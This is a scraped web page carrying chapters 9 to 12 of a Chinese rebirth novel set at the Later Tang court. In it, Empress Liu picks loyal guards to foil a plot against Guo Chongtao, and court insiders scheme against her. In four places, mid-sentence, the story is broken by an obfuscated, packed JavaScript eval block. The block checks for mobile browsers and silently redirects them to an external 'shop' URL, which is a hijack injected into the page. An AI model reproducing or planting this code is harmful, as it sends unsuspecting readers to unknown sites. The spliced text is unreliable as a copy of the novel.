他乃是这殿内官职最高的内侍,名为向延嗣。 乍一听到皇帝的这声命令,向延嗣早上残留的那点瞌睡散了个干净,脸上禁不住露出惊疑之色。 但他很快便掩住异色,恭敬领命而去。 不多时,向延嗣归来复命,“启禀陛下,今日当值宿卫已集于殿前。” “知道了。”李存勖拂了下手,“你退下吧”。 向延嗣颇觉事情可疑,偷偷抬头瞟了帝后一眼,低垂着头快步退到了殿门外。 但他留了个心眼,特意贴着门而站,到时陛下等人若在正殿里说话,他便能听到一二。 殿内,刘蕙心急着要把那几人挑出来,早已从内殿走到正殿里等候,此时一得复命,她起身便要往外走。 李存勖却冷不丁拉住她,让她差点像个陀螺似的转回去。 “怎的?”刘蕙心郁闷问道。 李存勖抬手给她擦了擦脸上还未完全散去的泪痕,又给她理了理鬓发,接着又仔细看了看她,轻叹道:“好了。” 刘蕙心有些怔然,心里渐渐回暖。她轻轻握了下丈夫的手,柔声坚定道:“这次的难关,我们肯定会闯过去的。” 李存勖不觉莞尔,他就喜欢皇后这股子遇事直上的劲儿。 刘蕙心见状,又添一口迷魂汤:“官家天命在身,定会万事呈祥。” 李存勖忍俊不禁,揽住皇后道:“好了,赶紧走吧。”再不出去,他家皇后不知道又要说多少好话来哄他了。 帝后二人相携走到了廊檐下。 殿外空地上,数十名近卫早已整齐站好。 刘蕙心放眼看去,很快便在第一排看到了她想找的三人之一。 那人外表实在是突出,个子生得极高,面容虽只勉强算得上俊秀,可在一众糙汉子里面真可谓鹤立鸡群,想不注意到他都难。 有这么好的一个开头,刘蕙心不觉心头振奋,暗道今日估计能一次性找齐这仨人。 然而,目光再往后移,甚至一移再移,移到底,再来回扫荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426920|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她也没看到自己想找的其余两个人,神色都不禁黯淡下去。 李存勖见她敛了笑容,低声问道:“这里没你想找的人?” 刘蕙心摇摇头,又点了点头,有点焦躁地叹了口气。 李存勖觉得奇怪,“你到底是想找什么人?我看你这架势,是要非派那几人不可?” 刘蕙心确实是有这意思。 上辈子,禁军在兴教门发动叛乱后,她丈夫身边的近臣宿将几乎跑了个干净,就只有十来个近卫留下来执刃死战,力护御前。 这些忠心耿耿的近卫里,又有三人格外突出,悍勇无匹,硬是于一众乱军中杀出了神鬼莫近之势。 后来,她家三郎不幸中箭,也是这三人护着三郎退回了绛霄殿。 知晓三郎气绝后,这三人跪在三郎遗体前大哭了一场,这才各自奔命而去。 这三人上辈子究竟结局如何,她也无从知晓。 至于这辈子,她既然已经知道这几人忠勇可嘉,自然就要好好提携他们一番。 更何况,如今事涉机密,派这几个忠臣去办才更能叫她放心。 可这番打算涉及前世因果,她又没法直白交代。一来是因为说出来估计也没人信,二来则是因为世间没哪个帝王愿意听到自己窝囊而死。 她若是真把前世那场叛乱说出来,三郎信不信她且不说,就怕三郎雷霆震怒,先把她这个“枉口拔舌”的人给讨厌上了! 刘蕙心可不敢冒这种风险。 好在她颇有急智,哪怕问题乍一下怼到眼前,她也应对甚是从容:“我也不是非要派那几人不可。” “只是,先前我看到这几人当值格外尽心,大冷天的也不躲懒耍滑。” “哪怕周围没什么人盯着,也不见他们懈怠。我就想着,这几人是实心眼,办事儿估计很妥当。” 这当然是假话。 前世若不是那场叛乱,她压根儿就不会注意到近卫里有这么三个人。 可这番假话又实在是逼真,而且还动人。 李存勖都被勾起了好奇心,也想跟着找找这几个实心眼的近卫了。 恰在这时,有个近卫匆匆跑进了队伍里。 这近卫看着年纪不大,面皮偏黑,壮得跟个牛犊似的,跑起来就像头撒欢儿的小黑牛。 他身边的同僚不提防让他撞了一下,禁不住往旁边一个趔趄。 次旁的同僚被这么一碰,也不防微微歪了一下,以至于那一排近卫都出现了一点小骚动。 李存勖面露不悦,御前集合都敢迟到不说,还这么莽莽撞撞地扰乱秩序,这小子有把他这个天子放在眼里吗? 李存勖当场就要点名惩罚这个近卫。 刘蕙心看出了苗头,连忙抢在丈夫开口之前道:“三郎,那刚进队的小子就是我要找的人。” “啊?”李存勖始料未及,他家皇后挑来挑去,就挑了个御前集合都还姗姗来迟的荒唐货?这就是他家皇后口中的“实心眼”好近卫? 刘蕙心不免有几分尴尬,要不是前世的事实摆在眼前,她也会觉得这小近卫毛躁不可靠。 但现在已经决定要重用这几人了,刘蕙心只能厚起脸皮道:“你别看他来得匆忙,其实他武艺一绝,又忠心可靠。” 李存勖嘴角微抽,这叫“来得匆忙”?这分明就是迟到! 刘蕙心顶着丈夫的质疑目光,硬着头皮继续道:“第一排个子最高的那个,还有刚来的这个,就他俩了。三郎你试一试他们便知,他们不会让你失望的。” 本来她是想借机找齐这三个义士的,不过目前情况有变,虽然只找到了两个,但先把这两个推到丈夫面前再说吧,剩下那一个,她再想别的法子找一找、推一推。 10. 第10章 名将可期 对于皇后的举荐,李存勖深感怀疑。 但不管怎样,他还是依照皇后的意思,板着脸朝那俩近卫抬手指了指,“你,还有你,上前来,其他人都退下。” 他到底会不会用这俩人且另说,重点是在于他不能当着这么多的人面落自家皇后的面子。夫妻本是一体,他若不在人前给皇后一个体面,他自己又能有多体面? 那被点名的俩近卫诚惶诚恐。 尤其是迟到的那个年轻侍卫,还以为是天子要问他的罪,整个人惴惴不安。 其余近卫也以为他俩要倒霉了,跟他们相熟的人不由得带上了几分自求多福的怜悯感。但大家都怕被天子的怒火牵连,一个个都麻溜地跑路了。 李存勖冷着脸睨了俩近卫一眼,转身便进了殿内。 那俩近卫对视一眼,犹豫着要不要跟上去。 刘蕙心见此情形,有些着急地提醒道:“还不快跟上?”怪不得这俩还在底层混呢,这么不懂眼色,哪能得上峰喜欢? 俩近卫得了皇后的准话,这才不远不近地跟在皇后后面,惴惴不安地走进了大殿。 刘蕙心一进殿,就见丈夫已经端坐在了紫楠木大合榻上。 她在李存勖身边能得宠长红这么多年,最关键的一点就是她善于揣测李存勖的心意,总能把话说到这男人的心坎上。 现如今,她只需瞅那么一眼,就知道她家男人这是没看上这俩愣头青。 怪也只怪年纪小的那个太不像话,御前集合都敢迟到,这换哪个上峰看着能高兴? 可事已至此,她也只能替这俩愣头青描补一番了。 刘蕙心走过去坐到丈夫身旁,见丈夫威严而坐,就知丈夫这是故意不开口问话,想给那俩愣头青一个下马威。 但她哪能任由事态这么发展,遂主动打破僵局问道:“你们二人叫什么名字,年纪多大了,现居什么职位?” 俩近卫互看了一眼,估计是在确定哪个先回话。 接着,年长的那个率先开了口:“回禀殿下,臣乃李彦卿,字冠侯,家中行四,二十有八,现为散员指挥使。” 散员,顾名思义,分散巡游之员,起初无固定编制,乃是将领身边的机动性亲随。 她丈夫立国后,整合麾下军队,分组了几支禁军。 “散员”便是其中一支禁军的军号,依旧如名字那般保持高机动性,随侍天子左右,通常是作为军勋功臣后代恩荫入仕的进阶职司。 刘蕙心光是听这职位便知,这李姓宿卫八成是功勋之后。 她心思又素来活络,见李姓小子与某位“故人”颇为相似,且名字也相近,当即问道:“李彦超可是你什么人?” 李彦卿颇感错愕。他摸不准帝后的心思,只能暗暗带着几分维护回道:“彦超乃是臣的同母长兄,现为汾州刺史。” 这俩人果然是亲兄弟! 刘蕙心颇感糟心,正是因为李彦超是汾州刺史,所以上辈子邺都生变后,她家三郎才会派李彦超就近去北都太原坐镇,改任北都巡检。 可恨李彦超辜负了她家三郎信任,非但没让北都成为他们李家最后的保命堡垒,反而成了他们一家的断头场! 这俩兄弟明明一母同胞,怎么四弟就忠肝义胆,舍命护君主;大哥却见风使舵,一点忠义之气都没有呢? 刘蕙心还没想出个所以然来,李存勖倒是对面前的近卫态度好了起来。 “你瞧你这记性,还没认出来这是我阿兄存审家的小老四吗?”李存勖调侃了自家皇后一句,威严之气散了不少,显出几分和蔼可亲的模样来。 他上前亲自扶起李彦卿,“快快起来!你十几岁便在朕帐下行走,朕岂能不知你?你的字都还是我给你取的呢,你可知那字是什么意思?” 皇帝陛下这般放下身段,就跟个家中长辈似的,亲亲切切地扶后辈起身,直把李彦卿这个愣头青感动得不行。 刘蕙心心底暗笑,得了,又一个被她丈夫迷糊住的臣子。 她丈夫有个特招人稀罕的品质——那就是作为上位者,他很能放下身段,也很宽宏厚道(不过当了皇帝之后就好像就没那么厚道了)。 当年在军中,她丈夫会亲自为重伤的大将上药包扎,甚至亲手喂人家吃糕点,直把那一群军中糙汉子感动得无以言表。 像现在这样扶后辈起身,嘴上说几句亲近的话,于她丈夫来说不过是点小意思。 然而,于臣下来说,这就显然不是一点“小意思”了。 “臣知道!”李彦卿神情略显激动,内心显然比表面更澎湃,“陛下是以汉代冠军侯(霍去病)的名号给臣取的字,希望臣能像冠军侯那样开疆拓土,耀我国威!” “不错。”李存勖颔首道,“现如今,朕有要事相托,虽不是开疆拓土之事,却也事关国之根基!” 李彦卿肺腑皆热,当即行礼回道:“承蒙陛下信重,臣敢不尽命!” 年纪偏小的那个近卫跪在地上,偷偷拿眼睛瞟旁边的天子和同僚,心里别提多羡慕了。 他倒不敢奢望天子对他也有什么要事相托,毕竟他可没有李彦卿那么厉害的出身。 须知李彦卿的父亲乃是本朝两大顶级名将之一——李存审。 李存审战功赫赫,又是武皇的养子,和当今陛下乃是养兄弟关系。 当初李存审去世,当今天子震悼了好久,为之废朝三日。 就冲这情分,李彦卿怎么都不是他这么一个背景平平的小卒可比的。 当然,所谓身份背景也只是他不敢妄生幻想的原因之一而已。 更重要的原因在于—— 没看到陛下到现在都还懒得理他吗? 他都怀疑陛下是不是想让他跪烂这一对膝盖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426921|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好惩罚他今日迟到。他怎么就这么倒霉命苦哦! 李存勖往旁低头一瞥,正好就瞧见这小近卫眼巴巴地偷瞄他。他心里好笑,揶揄道:“你也起来吧。朕看你眼熟,你叫什么名字,令尊是谁?” 小近卫诚惶诚恐地站起身来,毕恭毕敬地道:“回陛下、殿下的话,臣乃王全斌,现年十八,任职东头供奉;家父讳勇,曾任岢岚军使。” 岢岚军使乃是中低层军官。 至于东头供奉,属于供奉官体系,顾名思义,乃是跟在主公身边的供奉之人,在创建之初为低层言官之统称。 但后来黄巢之乱爆发,各地军阀依赖军事力量起家,供奉官这种近侍之官也逐渐从文官转变为了武职。 对于那些军勋之家的后人来说,供奉官往往是他们恩荫入仕的第一个或第二个低层官职。 品阶虽低,但却是天子近侍,能轻易在天子跟前混个眼熟不说,若是够机灵、会来事,那晋升速度不可估量。 因而,刘蕙心一听王全斌的官职,再结合他的年纪一想,便知这小子的官运并不像她先前想象得那么糟糕。 王全斌其实走的就是一般军勋子弟的正常晋升路子罢了。 至于李彦卿,二十八岁坐到散员指挥使这个位置,属于中下层军官,离中高层军官还差那么一口气儿。 可见李彦卿的晋升路子也是中规中矩,属于军勋子弟的正常晋升速度。 换句话说,这俩人都不是“会来事儿的”,只是本本分分地走常规晋升路子罢了,否则“天子近侍”的身份摆在这儿,怎么也会比现在爬得更快点。 “王勇……”李存勖低声念了遍王全斌父亲的名字,略一思索,笑道,“朕想起来了,当年王勇私下蓄养了不少勇士,怕朕会怀疑他,惶惶不可终日。还是你主动给你父亲出的主意,说要来我帐下当人质。你那时好像才十三岁吧?” “十二岁。”王全斌小心纠正道。天子突然提起他父亲昔年的“不当之事”,可看样子又不像是要问罪,也不知究竟是个什么意思。 “哦,十二岁呀……”李存勖拍拍小近卫的肩膀,先前的那点气也消了,满是赞叹地道,“自古英雄出少年啊。你小子从小就胆识过人,如今朕有件要事需交给你们去办,你敢不敢接?” 王全斌大喜过望,这等好事居然还有他的份儿! 而且,他还是跟李彦卿一起出任务,这说明什么? 这说明天子认为他和李彦卿一样能干! 天子相信他能和名将之子一样建功立业! 指不定他将来能和李彦卿一起并列大唐名将呢! 年轻人就是想象力丰富,特别擅长于展望未来。王全斌只是听天子提了一嘴出任务,就已经幻想自己像唐初名将那样功拜凌烟阁了。 他满脸笑容,呲着个大牙,中气十足地回道:“臣敢接!” 11. 第11章 伶官干政 “好!”李存勖微微含笑点头,接着便神色一敛,严肃道,“朕前几日命衣甲库使马彦圭出使蜀中,意在宣慰前线大军。孰料这厮包藏祸心,竟打算趁此行谋害郭令公!” 听闻此事,李彦卿与王全斌俱是骇然变色。 “郭令公”即为郭崇韬,官拜门下侍中、兼枢密使,爵封赵郡公,更是当前伐蜀大军的招讨使。 而马彦圭区区一个衣甲库使居然敢对此等国之重臣下手,怎能不令人色变! (换言之:这相当于一个兵备管理处处长要谋害一国总理兼军委副主委兼远征军总参谋长。) “郭令公乃我国之柱石,岂能容此等宵小中伤暗害?”李存勖露出痛心疾首之色,仿佛从未对郭崇韬生出过杀心一般,“朕此番特选你二人前来,就是看中你二人忠义勇猛,欲令你们拦截马彦圭,力护郭令公!” 李彦卿二人惊骇莫名,却知帝王话还未说完,两人不敢妄自插话,只恭敬惶恐地听着帝王继续安排。 “朕即刻手书诏令一封交予你二人,若有人敢加害郭令公,不论此人是何身份地位,一律杀无赦!” 刘蕙心听到此处,立刻亲自将笔墨纸砚拿到丈夫身旁的几案上放好,又挽好衣袖,亲自给丈夫研磨。 此番事涉机密,且片刻耽误不得,自然也顾不上找那些翰林学士来优化措辞了。 更何况,帝王亲笔书写,更见赤诚,其分量也远不是翰林学士代写可比。 李存勖执笔蘸墨,顷刻间便成文。他自己平时也作诗词,且偏爱浮艳辞藻,诏书这种公文类的文章,于他而言也不算什么难事。 刘蕙心在一旁看了看,凝思片刻,低声道:“官家何不再补一封诏令,特书以魏王?” 此可谓一语惊醒梦中人。 此番若是追至巴蜀行营,少不得要对在蜀大军解释一番。 既如此,就不得不为正坐镇巴蜀的魏王李继岌周全一番了。 李存勖想了片刻,又很快写好了一封诏令。 他吹干纸面墨迹,卷好两份诏令,把其中一份递于官阶偏高的李彦卿,肃容叮嘱道:“朕现在任命你们二人为‘宣慰特使’,执此诏令,沿途驿站悉由你二人差遣!若遇危害宰辅者,不须羁押返京,即刻就地击杀!” 李存勖又将另一份诏书交给官阶低微的王全斌,“若是你们此番追至巴蜀行营,和前线将士打了照面,则务必要将此诏令亲自交到魏王手中,且要魏王当着众将之面听诏!” “遵命!”李彦卿二人接诏行礼。 李存勖拍拍两位后辈肩膀,语重心长地道:“今日已是马彦圭出发的第三日,此厮欲谋害郭令公,必定疾行赶路。你们二人即刻出发,不得片刻耽搁!能不能保住郭令公,就看二位了!” 李彦卿二人颇感责任重大,一时热血萦怀,肃容齐声道:“臣等定不辱使命!” 李存勖微一颔首,收回手道:“去吧!” “臣等告退!”李彦卿两人领命而退。 出了大殿,两人行色匆匆。 殿门外,貌似尽职尽责守在门口边的内侍向延嗣,却偷偷听完了正殿内的全过程。 看到这俩近卫疾步而去,向延嗣不由得满脸骇然。 他急忙招手唤来附近的一个小宦官,找借口说自己要入厕离开一会儿,让这小宦官在此顶替他片刻。 接着,向延嗣就急色匆匆地走了。 殿门口内侧,立侍于此的宋司记默然看着向延嗣远去,神色若有所思。 “宋司记,你在看什么呀?”下属小声问她。 宋司记收回目光,对着下属无声摇了摇头。 下属自知多言,讪讪地抿住了嘴巴。 宋司记有些无奈地微微笑了下。她这位下属才十六岁,正是跳脱的年纪,却因识字聪慧,被分到她手下充任“女史”一职。司记司执掌文牍印信,最需稳重端凝,这可真是难为这小丫头了。 * 另一厢。 向延嗣这一路疾走,近乎于小跑,穿行了小半个皇宫,抵达了宫内的教坊司。 “向五哥。”教坊司内的伶人、宫人纷纷向他见礼。 盖因向延嗣如今正得圣宠,宫人们对他又敬又怕,不敢以他的官职相称,只以他家中排行唤他一声“五哥”。 向延嗣急躁地挥了一下手,示意众人可以免礼了,张口便问:“八哥在哪里?” “八哥”指的是伶官景进,家中齿序第八。 当今天子雅好音律,宠幸伶人,而景进正是最炙手可热的那一位。 连外朝官员见了景进都要巴结地喊一声“八哥”,更何况是向延嗣这种最会看人眼色的内朝中官呢。 “八哥在琴房。”有伶人回道。 向延嗣急得很,“还不快给我引路!” 伶人诺诺应下,低着头疾步在旁引路。 不多时,琴房渐近,幽幽乐声从中飘扬而出,靡靡悠哉。 向延嗣奔至门口。 只见,屋内一个青年郎君正在拨弄琵琶。 这郎君刚刚二十岁出头,带着几分青年伶人特有的冶艳,又有几分少年郎的灵动。 如今这年头,天下大乱已久,中原多地时不时闹饥荒,已经到人吃人的地步,百姓大多面黄肌瘦,甚至形销骨立。 而这位郎君肤白唇红,几近珠圆玉润,可见宫中把他养得极好,压根儿没让“饥荒”跟他沾上边儿。 “八哥!”向延嗣跨进门去,对着青年郎君便喊了一声。 这人便是红极一时的景进了。 景进手上弹曲未停,只抬眸瞥了眼向延嗣便又低下头去认真听音拨弦,悠然笑道:“我今儿新谱了一首《贺新岁》,五哥觉得如何?” 向延嗣急得把脚一跺,刚要说话,又想起周围有人,连忙转身把附近的人都喝退了,这才疾步走到景进面前,低声道:“你怎么还有心情谱曲啊,八哥?大事不好啦!” 景进见他如此模样,惊问道:“怎么了?” 向延嗣哭丧着脸,着急低声道:“陛下刚刚派人去杀马彦圭了!” “啊?!”景进骇了一跳,但接着就一副事不关己的神色,手指有一搭没一搭地拨着琴弦道,“他这是怎么惹到陛下了?咱们陛下最是脾气好了,轻易不会杀人的。” 向延嗣差点梗住了,这些伶人整日在陛下面前卖弄才艺风情,只当陛下是个没脾气的仁善君主。 殊不知,陛下征战沙场十多年,手上早已不知沾染了多少亡魂,又哪是什么不杀生的“好脾气善人”? “八哥你糊涂啊!”向延嗣愁眉苦脸地道,“你可别忘了,马彦圭这次是带着诛杀郭崇韬的密令出发的。陛下现在要截杀马彦圭,你说这是什么意思?” 景进这才意识到大事不妙,拨弦的手霎时顿住,“你是说……陛下改主意了,不想郭崇韬死了?” “没错!”向延嗣苦着脸道,“也不知咱们这位陛下怎么就突然转了性儿,这杀大臣的事怎么还能反反复复的呢?” “八哥你得知道,马彦圭这次能成功说动皇后下教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426922|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令诛杀郭崇韬,你我可都是出了力的。” “倘若郭崇韬这次不死,他岂能不报复咱们?到时你我岂有活路?你说咱们该怎么办啊,八哥?” 景进吓得面如土色,思来想去,忽地起身道:“不行,我现在就得去找陛下!”他抱起琵琶就往外冲。 向延嗣连忙追了出去,“八哥,你这是打算怎么办啊?” 景进边跑边道:“我要去求陛下收回成命!”郭崇韬必须死!马彦圭必须把诛杀密令传达下去! 向延嗣瞠目结舌,“这怎么行?” 且不说陛下一言九鼎,岂能因一伶人而改成令? 就单说—— “陛下才刚下令,你就去求陛下撤令,倘若陛下问起你是从哪儿得知的消息,你要怎么说?” 景进无所谓地道:“那你是从哪儿得来的消息?” 我是偷听来的呀! 可向延嗣不想明说这事,半遮半掩地道:“陛下刚派了两个近卫去追杀马彦圭,我看那俩人神色不对,就猜出来了。” 景进瞥了他一眼,皮里阳秋地冷笑道:“我知道了。” 你知道什么了? 向延嗣有种被人看穿的不适感,跑着追问:“八哥你想好怎么跟陛下说了吗?” 景进只顾抱琴赶路,都没再扭头看他一眼,冷笑揶揄道:“你放心,我不会把你供出来的。” 向延嗣一噎,悻悻闭了嘴。虽说他私心里总觉得景进愚蠢,但这蠢人又时不时冒出来几分机智,叫人误以为这人或许不蠢。 * 另一厢。 集仙殿的正殿内。 安排完截杀马彦圭的事,刘蕙心仍旧没有丝毫放松,要办的事还有不少,心里千头万绪,总得要理出个章法来。 譬如方才提及的李彦超,这混账在关键时刻经不起考验,可他现今毕竟还算规矩,也没什么行差就错之处,就姑且留他在汾州刺史的位置上,等以后找机会撤他的职也不迟。 现下最关键的恐怕应是整顿禁军。 虽说上辈子的“乱局之源”貌似在于郭崇韬之死,可直接导致他们国破家亡的却是禁军之乱。 犹记得,当日,中官仓皇来报:“官家,大事不好啦,李指挥率领禁军造反啦!” 她丈夫惊问:“哪个李指挥?” 中官答:“就是从马直指挥使——李从谦!” 她丈夫雷霆震怒:“此獠怎敢负朕!” 是啊,怎敢负君恩如斯? “从马直”乃是她丈夫亲选骁勇所组建的天子亲军,是她丈夫最信任、最优待的一支禁军,其下所分设的四个指挥使也都是由她丈夫信重之人所担任。 可谁能想到,最后率先起来做乱的竟会是这支禁军的将士? 这支天子亲军,或者说整个皇都禁军,从军将到士卒,都该被狠狠清洗整顿! 尤其是那个发动叛乱的李从谦——就该拖去碳市斩首,诛其满门! 不过,此事牵涉太广,须谋定而后动,不是想当然地杀一个“贼首”便能解决问题的。 更何况,这其中涉及大规模的人事调动,尤其是那些禁军高层职位基本上都得大换洗一遍。 这些关键利益分配,才是大清洗的真正重中之重,必须事先规划好。 刘蕙心想了想,找借口道:“三郎,如今郭崇韬一事悬而未定,我这心里总不踏实,看哪儿都觉得害怕。你要不分一支从马直来保护我吧?”她就算暂时不杀李从谦,也得想办法把这人弄到身边来看着。 12. 第12章 反叛之将 铺着厚毛毡的壶门榻上,李存勖威严而坐,正暗暗琢磨如何万全应对此番郭崇韬之事。 忽听闻皇后这话,他威严之色一敛,露出几分笑意来,“你这打起我亲军的主意来了?” 刘蕙心略带些撒娇笑问道:“怎么,你舍不得?” 换作是其他皇帝,这哪里是“舍不舍得”的问题,这分明是皇后妄图插手天子亲军。 别说真分一支亲军保护皇后了,皇帝八成当场就要跟皇后翻脸,愤然唾骂皇后居心叵测。 可李存勖不一样,面对自己亲近之人,他总是很纵容。而这份纵容往往带着几分不合时宜,甚至到了拎不清的地步,简直堪称昏君之举。 此刻,脑子拎不清的“昏君”笑道:“安排一支给你便是。” 刘蕙心趁势道:“那你把那四个从马直指挥使都叫过来,我要从中挑一个。” 李存勖也没觉得有什么不妥,当即吩咐道:“来人啊,去把从马直指挥使全都叫过来。” 不多时,四名军官步入殿中。 刘蕙心看到这几人就禁不住心底火起。 这四个人,其中一个带头造反,另外三个吓得弃甲而逃。 个顶个的没用,全都该被清洗掉! 该说不说,她丈夫当了皇帝后就眼光极速变差,尽把些不中用、不可靠的人放在重要的位置上。 刘蕙心强压着怒火,开口道:“诸位都先自我介绍一下吧。” 她自认为表现平静,可实际上,她冷着一张脸,寒若冰霜。 在外人看来,这是皇后威严不可侵犯。 可在李存勖这个知根知底的枕边人看来,皇后这明显不对劲。 几名指挥使摸不清帝后用意,战战兢兢地依次自我介绍。 刘蕙心一眼就瞄到了站在最右边的那个指挥使。 原因无他,这人虽与其他三人都一样的身形高大,却比那仨多了几分说不清道不明的风流气。 这份“风流”不是指他浪荡疏狂,而是他身上有一种很特别的“身段气质”。 这种气质,刘蕙心在“某类人”身上常常看到。 过了小会儿,终于轮到最右边的这位指挥使最后一个发言:“臣李从谦,现年二十八,家父睦王讳存乂(yì)……” 原来这就是李从谦!刘蕙心的目光猛地变得阴沉犀利。 听到后面,她陡然一惊,“睦王是你父亲?!” 李从谦道:“睦王是臣的养父。” 当世权贵收养子的不在少数,且这种养父子关系不是简单改个口而已,养子须随养父姓,且会上养父的族谱。 刘蕙心万万没想到,这个鼓动从马直造反的军官竟是这层身份。她倏然想到另一个要命的问题,“那郭令公与你是什么关系?” 郭崇韬乃是睦王的老丈人。李从谦作为睦王的养子,说不准跟郭崇韬来往密切。 “郭令公是臣的叔父。”李从谦答道。 “叔父?”刘蕙心不解,“你姓李,他姓郭,你俩怎么就成叔侄了?” 李从谦答:“臣本姓郭,与郭令公也算是同一个大宗了。臣敬慕郭令公,便认了郭令公作‘叔父’。” 什么“同一个大宗”啊?其余仨同僚不□□露出几分讥嘲之色,不过就只是同一个姓氏而已。“郭从谦”不仅认睦王作养父,还跟郭令公攀亲戚,其脸皮之厚,实非常人之所能及。 刘蕙心却是后背发凉,恍然明白了“郭从谦”前世为何会造反。 前世,郭崇韬死后,朝野骇惋,群议纷然。她丈夫心生不安,担心有朝臣因怨生反,命人秘密监视朝臣的一言一行。 不久后,探子回报说,睦王李存乂跟将士哭诉岳父(郭崇韬)死得冤枉。 她丈夫愤骇不已,先是幽禁了睦王,没过多久就将其处死。 李从谦身为睦王养子,又跟郭崇韬走得近,在这种情况下,哪能不忧心自身安危?铤而走险简直在情理之中! 她丈夫怎能糊涂至此——在接连处死郭崇韬和睦王之后,竟然还继续把这么号人物留在身边! 刘蕙心五味杂陈地又打量了李从谦几眼,毫不客气地问道:“你以前可是做过伶人?”这人身上的那股微妙气质实在是令她不得不有此怀疑。 李从谦微怔,毫无羞耻之色地答道:“是。” 其余三个指挥使都不禁目露鄙夷。谁不知道当今圣上酷爱声乐徘优,大肆宠幸伶人?姓郭的就是走这条路子发达起来的。 刘蕙心有些困惑了,一个伶人是怎么被睦王看中收为养子,还走上军官这条路的? 李存勖见皇后满脸不解,解释说:“‘门高’虽是伶官起家,但确实有军功在身。当年,我们与汴军在德胜寨对峙,军中招募勇士,‘门高’挺身而出,立了大功。他能到现在这位置,那都是积累军功上来的。我看他能干,就让睦王收他做养子,赐了现在这姓名。” 刘蕙心惊诧莫名,任她想破脑袋也想不到竟会是这么番因缘,而且,“你刚才……管李从谦叫‘门高’?这是他的字?” 李存勖笑道:“门高是他的优名(艺名),我喊这都喊惯了,不习惯喊他现在的名儿。” 刘蕙心百感交集,难怪她丈夫会这么放心大胆地把李从谦留在身边,原来这人纯粹是她丈夫一手提拔起来的。就连这人会成睦王养子,也都是她丈夫牵的线。 这岂不是养虎为患、自掘坟墓! 亏她刚开始听到李从谦二十八岁坐到从马直指挥使这位置,还以为他是靠养父睦王的举荐。搞了个半天,原来是人家李从谦自己会做官。 一个毫无根基的底层卑贱伶人,靠才艺投主公所好,又适时立下军功,赢得主公一片欢心,继而扶摇直上。 别听她丈夫说什么李从谦“立了大功”,这绝对是夸大其词。当年德胜寨战役的立功军将何其之多,哪儿轮到李从谦冒头? 分明是她丈夫宠幸李从谦,把小功夸耀成大功,一步步硬把人提到现在这个位置上。 真要说累积军功,她就不信同为二十八岁的李彦卿会比李从谦差。 可怎么李彦卿就只是个“散员指挥使”,李从谦却成了“从马直指挥使”呢? 别看俩人都是“指挥使”,表面上好像大家职级都一样,但“从马直”乃是天子亲军,“散员”却只是杂名禁军,这地位能一样吗? 所以看看,什么叫会来事儿,什么叫会做官儿——李从谦这就是例子。 可偏偏会做官的不见得可靠,可靠的又不见得会做官。 以前打仗的时候,凭的是真才实干,她丈夫还能勉强克制下个人喜恶,虽说少不得任命几个只会溜须拍马的草包,可大体上还是提拔了一群真正有能力的人。 可现在不打仗了,她丈夫端居庙堂,就一点克制不住个人喜恶了,甭管人是不是有真材实料,只要能让他高兴,他就把人提拔上来。 那些空有能力却不懂逢迎的老实官员,估计都没机会走到她丈夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426923|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前来;就算有机会在她丈夫面前露个脸,也八成讨不到她丈夫欢心。 刘蕙心想想就头疼。 她现在深刻意识到,要想避免前世国破家亡的下场,不只是保一个功臣、杀一个反臣那么简单,她还得从根本上改变她丈夫的这套用人策略。 哎…… 在心底默默叹了口气,刘蕙心强自振作起来,和丈夫商量道:“就调李从谦保护我吧。”先把这个不可靠的人调到她眼皮子底下来再说。 “行。”李存勖当即安排道,“自今日起,李从谦这支卫队就负责护卫皇后安全,不得有半分差池。” “遵命。”李从谦恭敬领命,也没多做他想。 盖因朝野上下皆知皇后宠冠后宫,天子特调亲军保护皇后也不是什么稀奇事。 “好了,都退下吧。”李存勖挥退一众指挥使。 这时,内侍向延嗣疾趋入殿,“启禀陛下、殿下,景大夫进求见。” 